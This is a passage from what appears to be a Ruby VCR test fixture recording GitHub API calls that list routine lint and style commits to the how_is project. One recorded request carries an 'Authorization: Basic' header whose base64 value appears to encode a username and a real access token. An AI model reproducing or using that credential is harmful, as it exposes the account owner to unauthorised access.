m/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"88d79e266ce0e75815296a12d96f99189996a0fc","url":"https://api.github.com/repos/how-is/how_is/commits/88d79e266ce0e75815296a12d96f99189996a0fc","html_url":"https://github.com/how-is/how_is/commit/88d79e266ce0e75815296a12d96f99189996a0fc"}]}]' http_version: recorded_at: Fri, 26 Apr 2019 20:32:45 GMT - request: method: get uri: https://api.github.com/repositories/54295243/commits?author=me@duckie.co&page=2&per_page=30&until=2017-07-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:45 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3343' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"3f2558d8c14e27810fb665d451529059" Last-Modified: - Fri, 26 May 2017 09:17:53 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Link: - ; rel="next", ; rel="last", ; rel="first", ; rel="prev" Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 7B2E:0959:13BE0F:303409:5CC36AED body: encoding: ASCII-8BIT string: '[{"sha":"88d79e266ce0e75815296a12d96f99189996a0fc","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ODhkNzllMjY2Y2UwZTc1ODE1Mjk2YTEyZDk2Zjk5MTg5OTk2YTBmYw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:17:53Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:17:53Z"},"message":"remove trailing whitespace","tree":{"sha":"e9518f46395d6728fa5ce9bedb9e5c8b8bcb405f","url":"https://api.github.com/repos/how-is/how_is/git/trees/e9518f46395d6728fa5ce9bedb9e5c8b8bcb405f"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/88d79e266ce0e75815296a12d96f99189996a0fc","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/88d79e266ce0e75815296a12d96f99189996a0fc","html_url":"https://github.com/how-is/how_is/commit/88d79e266ce0e75815296a12d96f99189996a0fc","comments_url":"https://api.github.com/repos/how-is/how_is/commits/88d79e266ce0e75815296a12d96f99189996a0fc/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"e0d0572c1cf14fb14e1c51a22eb2ea38f3e8500a","url":"https://api.github.com/repos/how-is/how_is/commits/e0d0572c1cf14fb14e1c51a22eb2ea38f3e8500a","html_url":"https://github.com/how-is/how_is/commit/e0d0572c1cf14fb14e1c51a22eb2ea38f3e8500a"}]},{"sha":"e0d0572c1cf14fb14e1c51a22eb2ea38f3e8500a","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZTBkMDU3MmMxY2YxNGZiMTRlMWM1MWEyMmViMmVhMzhmM2U4NTAwYQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:17:20Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:17:20Z"},"message":"[how_is/pulse] fix indentation of \"private\" keyword.","tree":{"sha":"f71118c6d0616f232e5c814486c75cb433f46164","url":"https://api.github.com/repos/how-is/how_is/git/trees/f71118c6d0616f232e5c814486c75cb433f46164"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/e0d0572c1cf14fb14e1c51a22eb2ea38f3e8500a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/e0d0572c1cf14fb14e1c51a22eb2ea38f3e8500a","html_url":"https://github.com/how-is/how_is/commit/e0d0572c1cf14fb14e1c51a22eb2ea38f3e8500a","comments_url":"https://api.github.com/repos/how-is/how_is/commits/e0d0572c1cf14fb14e1c51a22eb2ea38f3e8500a/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"4bd95e47cc59478b93b30a5c08dae5b778912713","url":"https://api.github.com/repos/how-is/how_is/commits/4bd95e47cc59478b93b30a5c08dae5b778912713","html_url":"https://github.com/how-is/how_is/commit/4bd95e47cc59478b93b30a5c08dae5b778912713"}]},{"sha":"4bd95e47cc59478b93b30a5c08dae5b778912713","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NGJkOTVlNDdjYzU5NDc4YjkzYjMwYTVjMDhkYWU1Yjc3ODkxMjcxMw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T08:50:48Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T08:50:48Z"},"message":"[how_is/cli] freeze mutable string assigned to constant.","tree":{"sha":"2b7557db3b175060de86be9895596c0c2d1fa51d","url":"https://api.github.com/repos/how-is/how_is/git/trees/2b7557db3b175060de86be9895596c0c2d1fa51d"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/4bd95e47cc59478b93b30a5c08dae5b778912713","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/4bd95e47cc59478b93b30a5c08dae5b778912713","html_url":"https://github.com/how-is/how_is/commit/4bd95e47cc59478b93b30a5c08dae5b778912713","comments_url":"https://api.github.com/repos/how-is/how_is/commits/4bd95e47cc59478b93b30a5c08dae5b778912713/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"dc37b46d07dfb81079d0d0d52779292b8605b0b8","url":"https://api.github.com/repos/how-is/how_is/commits/dc37b46d07dfb81079d0d0d52779292b8605b0b8","html_url":"https://github.com/how-is/how_is/commit/dc37b46d07dfb81079d0d0d52779292b8605b0b8"}]},{"sha":"dc37b46d07dfb81079d0d0d52779292b8605b0b8","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZGMzN2I0NmQwN2RmYjgxMDc5ZDBkMGQ1Mjc3OTI5MmI4NjA1YjBiOA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T08:47:45Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T08:47:45Z"},"message":"[how_is/cli] disable a few cops for messy part of HowIs::CLI.parse.","tree":{"sha":"cf9ee86ab23260aeab57bc64d3c4c3bf6d14cc38","url":"https://api.github.com/repos/how-is/how_is/git/trees/cf9ee86ab23260aeab57bc64d3c4c3bf6d14cc38"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/dc37b46d07dfb81079d0d0d52779292b8605b0b8","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/dc37b46d07dfb81079d0d0d52779292b8605b0b8","html_url":"https://github.com/how-is/how_is/commit/dc37b46d07dfb81079d0d0d52779292b8605b0b8","comments_url":"https://api.github.com/repos/how-is/how_is/commits/dc37b46d07dfb81079d0d0d52779292b8605b0b8/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"ba33f36900da002582fd1c0c1c1d52fcd5079840","url":"https://api.github.com/repos/how-is/how_is/commits/ba33f36900da002582fd1c0c1c1d52fcd5079840","html_url":"https://github.com/how-is/how_is/commit/ba33f36900da002582fd1c0c1c1d52fcd5079840"}]},{"sha":"ba33f36900da002582fd1c0c1c1d52fcd5079840","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YmEzM2YzNjkwMGRhMDAyNTgyZmQxYzBjMWMxZDUyZmNkNTA3OTg0MA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T08:40:09Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T08:40:09Z"},"message":"[report/base_report] wrap complex conditions in ternary operators with parentheses","tree":{"sha":"d8c1cd9b5bf27bcfc62c8e099828a0b77e120d42","url":"https://api.github.com/repos/how-is/how_is/git/trees/d8c1cd9b5bf27bcfc62c8e099828a0b77e120d42"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/ba33f36900da002582fd1c0c1c1d52fcd5079840","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/ba33f36900da002582fd1c0c1c1d52fcd5079840","html_url":"https://github.com/how-is/how_is/commit/ba33f36900da002582fd1c0c1c1d52fcd5079840","comments_url":"https://api.github.com/repos/how-is/how_is/commits/ba33f36900da002582fd1c0c1c1d52fcd5079840/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"4b5c56ba99044a650ec9230d40e876b7c22c4e20","url":"https://api.github.com/repos/how-is/how_is/commits/4b5c56ba99044a650ec9230d40e876b7c22c4e20","html_url":"https://github.com/how-is/how_is/commit/4b5c56ba99044a650ec9230d40e876b7c22c4e20"}]},{"sha":"4b5c56ba99044a650ec9230d40e876b7c22c4e20","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NGI1YzU2YmE5OTA0NGE2NTBlYzkyMzBkNDBlODc2YjdjMjJjNGUyMA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T08:39:04Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T08:39:04Z"},"message":"[report/base_report] prefix unused arguments with an underscore","tree":{"sha":"a6dabdcc997fbc599a06c5ed2dfc931e8f6c758c","url":"https://api.github.com/repos/how-is/how_is/git/trees/a6dabdcc997fbc599a06c5ed2dfc931e8f6c758c"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/4b5c56ba99044a650ec9230d40e876b7c22c4e20","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/4b5c56ba99044a650ec9230d40e876b7c22c4e20","html_url":"https://github.com/how-is/how_is/commit/4b5c56ba99044a650ec9230d40e876b7c22c4e20","comments_url":"https://api.github.com/repos/how-is/how_is/commits/4b5c56ba99044a650ec9230d40e876b7c22c4e20/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"27b7a92427c66829ed989e2e3d7b98cc500ca2b3","url":"https://api.github.com/repos/how-is/how_is/commits/27b7a92427c66829ed989e2e3d7b98cc500ca2b3","html_url":"https://github.com/how-is/how_is/commit/27b7a92427c66829ed989e2e3d7b98cc500ca2b3"}]},{"sha":"27b7a92427c66829ed989e2e3d7b98cc500ca2b3","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MjdiN2E5MjQyN2M2NjgyOWVkOTg5ZTJlM2Q3Yjk4Y2M1MDBjYTJiMw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T08:33:48Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T08:33:48Z"},"message":"remove unnecessary whitespace around assignment operators","tree":{"sha":"933ad022db11aa11dc5a90c1a1605a0ec7103315","url":"https://api.github.com/repos/how-is/how_is/git/trees/933ad022db11aa11dc5a90c1a1605a0ec7103315"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/27b7a92427c66829ed989e2e3d7b98cc500ca2b3","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/27b7a92427c66829ed989e2e3d7b98cc500ca2b3","html_url":"https://github.com/how-is/how_is/commit/27b7a92427c66829ed989e2e3d7b98cc500ca2b3","comments_url":"https://api.github.com/repos/how-is/how_is/commits/27b7a92427c66829ed989e2e3d7b98cc500ca2b3/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"84bf2896aaec4ef4b267784b76309c0ad12fdb62","url":"https://api.github.com/repos/how-is/how_is/commits/84bf2896aaec4ef4b267784b76309c0ad12fdb62","html_url":"https://github.com/how-is/how_is/commit/84bf2896aaec4ef4b267784b76309c0ad12fdb62"}]},{"sha":"84bf2896aaec4ef4b267784b76309c0ad12fdb62","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ODRiZjI4OTZhYWVjNGVmNGIyNjc3ODRiNzYzMDljMGFkMTJmZGI2Mg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T08:18:41Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T08:18:41Z"},"message":"[RuboCop] make block length cop ignore subdirectories of spec/","tree":{"sha":"14134c5bf1278e7fd4d213de6dcbe93eb982cf28","url":"https://api.github.com/repos/how-is/how_is/git/trees/14134c5bf1278e7fd4d213de6dcbe93eb982cf28"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/84bf2896aaec4ef4b267784b76309c0ad12fdb62","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/84bf2896aaec4ef4b267784b76309c0ad12fdb62","html_url":"https://github.com/how-is/how_is/commit/84bf2896aaec4ef4b267784b76309c0ad12fdb62","comments_url":"https://api.github.com/repos/how-is/how_is/commits/84bf2896aaec4ef4b267784b76309c0ad12fdb62/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"853dc33f7fb16e2c208f02f18e97878ab858e64a","url":"https://api.github.com/repos/how-is/how_is/commits/853dc33f7fb16e2c208f02f18e97878ab858e64a","html_url":"https://github.com/how-is/how_is/commit/853dc33f7fb16e2c208f02f18e97878ab858e64a"}]},{"sha":"853dc33f7fb16e2c208f02f18e97878ab858e64a","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ODUzZGMzM2Y3ZmIxNmUyYzIwOGYwMmYxOGU5Nzg3OGFiODU4ZTY0YQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T08:17:38Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T08:17:38Z"},"message":"[{fetcher,how_is}_spec] consistent alignment of arguments","tree":{"sha":"766f96ce13941b9b9305773da3242de5c2052d4e","url":"https://api.github.com/repos/how-is/how_is/git/trees/766f96ce13941b9b9305773da3242de5c2052d4e"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/853dc33f7fb16e2c208f02f18e97878ab858e64a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/853dc33f7fb16e2c208f02f18e97878ab858e64a","html_url":"https://github.com/how-is/how_is/commit/853dc33f7fb16e2c208f02f18e97878ab858e64a","comments_url":"https://api.github.com/repos/how-is/how_is/commits/853dc33f7fb16e2c208f02f18e97878ab858e64a/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/rec